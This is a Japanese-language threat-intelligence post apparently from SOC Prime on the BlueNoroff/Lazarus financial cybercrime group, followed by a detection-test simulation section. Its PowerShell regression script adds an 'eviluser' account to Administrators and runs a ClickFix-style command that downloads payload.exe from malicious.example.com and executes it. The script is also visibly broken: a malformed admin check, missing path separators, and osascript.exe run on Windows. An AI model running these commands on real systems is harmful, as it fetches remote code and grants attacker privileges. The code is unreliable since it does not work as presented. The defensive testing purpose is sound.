SOC Prime Bias: クリティカル

21 Jan 2026 15:58 UTC

BlueNoroffグループ: ラザルスの金融サイバー犯罪部門

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon フォローする
BlueNoroffグループ: ラザルスの金融サイバー犯罪部門
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

BlueNoroffは、銀行、暗号通貨企業、広範なWeb3ターゲットに対する高価値窃盗作戦に焦点を当てた、Lazarusエコシステム内の資金志向サブグループです。このグループのプレイブックは、SWIFTを利用した詐欺、ウォータリングホールの侵害、Goパッケージのサプライチェーン中毒、および偽の「面接」ルアーを中心としたmacOS侵入パスを含んでいます。実行と持続性を達成するために、BlueNoroffはモジュール化されたRust/GoマルウェアスタックをAppleScript、VBScript、ソーシャルエンジニアリングワークフローと組み合わせて、ユーザーの警戒を回避し、正当な開発および管理活動に統合します。

調査

このレポートは、2016年のバングラデシュ銀行強盗から最近の2025年のサプライチェーン活動までのBlueNoroffの軌跡を追い、その役者のツールとターゲッティングがどのように拡大したかを強調しています。研究者は、インフラストラクチャのパターンを説明し、GhostCall、GhostHire、RustBucket、GillyInjectorを含むマルウェアコンポーネントをカタログ化しています。また、調査は観察された行動をMITRE ATT&CKに段階別にマッピングし、偵察から初期アクセス、実行、持続性、資格情報窃盗までを包括して、ステルス性の足場、段階的ペイロード配信、窃盗準備されたアクセスパスに一貫した焦点をあてていることを強調しています。

緩和策

供給チェーンの継続的な衛生状態の確認によって曝露を減少させます: 公的なレジストリから引き出すパッケージの検証、固定および出所の管理の強制、予期しない保守者またはコードの変更に対して継続的に依存関係の更新をレビューします。macOSでは、LaunchAgent/LaunchDaemonのガバナンスを強化し、疑わしい持続性のエントリや署名のないツールを監視します。ルアー配信に使用される類似ドメインをブロックし、特権アイデンティティと外部に公開されたサービスのためにMFAを施行し、既知の悪意のあるスクリプト、ローダー、および役者に関連するパッキング技術の検出を運用化します。定期的な脅威インテリジェンスの更新を維持し、スピアフィッシングと「採用/面接」型のソーシャルエンジニアリングパターンに焦点を当てたユーザートレーニングを強化します。

対応

BlueNoroffの指標が発見された場合、影響を受けたホストを隔離し、完全なコマンドライン、スクリプトコンテンツ、およびドロップされたバイナリやパッケージアーティファクトを含む鍵となる証拠を保存します。悪意のあるドメインとC2 IPをブロックし、資格窃盗とサプライチェーン妥協シナリオに沿ったインシデント対応プレイブックを実行します。AppleScriptおよびVBScriptの実行チェーン、そして報告された疑わしいPowerShellパターンに対する検出を導入または調整し、同じルアー、依存関係、またはインフラストラクチャの重複に曝された追加のエンドポイントを特定するために狩猟を拡大します。

攻撃フロー

シミュレーション実行

前提条件:テレメトリー&ベースラインプリフライトチェックが合格していること。

根拠:このセクションでは、検出ルールを発動するために設計された敵の技術(TTP)の正確な実行を詳述します。コマンドとナラティブはTTPとして特定されたものを直接反映し、検出ロジックによって予想される正確なテレメトリーを生成することを目的とする必要があります。抽象的または無関係な例は誤診を招くでしょう。

  • 攻撃のナラティブ&コマンド:

    1. AppleScriptの実行(T1546.016) – 敵対者は悪意のある payload.scpt をエンドポイントにドロップします(例:フィッシングの添付ファイルを通じて)。プリインストールされている osascript.exe (サードパーティツールと同梱)を使用して、ローカルの管理者アカウントを追加するPowerShellペイロードを実行するためにスクリプトを起動します。
    2. ClickFixクリップボード配信(T1204.004) – 攻撃者は、Zoomスタイルのユーザーエージェントを用いて curl を呼び出す巧妙に作成されたコマンドをクリップボードにコピーし、次に直ちに cmd.exeによって第二段階のペイロードをダウンロードして実行します。コマンドには、インラインで powershell.exe -c を使ってメモリ上でペイロードを実行するための呼び出しが含まれています。
  • 回帰テストスクリプト: 以下のスクリプトは、両方の動作を決定的な方法で再現します。

    #----- BEGIN REGRESSION TEST SCRIPT -----
    # Ensure we are running with administrative privileges
    if (-not ([Security.Principal.WindowsPrincipal] `
        [Security.Principal.WindowsBuiltInRole] "Administrator")) {
        Write-Error "Run this script as Administrator."
        exit 1
    }
    
    # 1. AppleScript execution via osascript.exe
    $appleScriptPath = "$env:TEMPmalicious.scpt"
    Set-Content -Path $appleScriptPath -Value @"
    tell application "System Events"
        do shell script "powershell -c `"Add-LocalGroupMember -Group 'Administrators' -Member 'eviluser'`""
    end tell
    "@
    # Execute the AppleScript
    Start-Process -FilePath "osascript.exe" -ArgumentList "`"$appleScriptPath`"" -NoNewWindow -Wait
    
    # 2. ClickFix style clipboard delivery
    $clickFixCmd = 'curl -A "ZoomSDK" http://malicious.example.com/payload.exe -o $env:TEMPpayload.exe && powershell.exe -c "Start-Process $env:TEMPpayload.exe"'
    # Run via cmd.exe to match rule condition
    Start-Process -FilePath "cmd.exe" -ArgumentList "/c `$clickFixCmd" -NoNewWindow -Wait
    
    # Cleanup: remove artifacts
    Remove-Item -Path $appleScriptPath -Force
    Remove-Item -Path "$env:TEMPpayload.exe" -Force -ErrorAction SilentlyContinue
    # End of script
    #----- END REGRESSION TEST SCRIPT -----
  • クリーンアップコマンド: プロセス、ファイル、およびテストユーザーアカウントの残骸を削除します。

    # ストッププロセス (防御的 – 通常は不要です)
    Get-Process -Name "osascript","cmd","powershell","payload" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # 一時ファイルを削除する
    Remove-Item -Path "$env:TEMPmalicious.scpt" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPpayload.exe" -Force -ErrorAction SilentlyContinue
    
    # テストアドミンアカウントが作成されていた場合は削除する
    if (Get-LocalUser -Name "eviluser" -ErrorAction SilentlyContinue) {
        Remove-LocalUser -Name "eviluser"
    }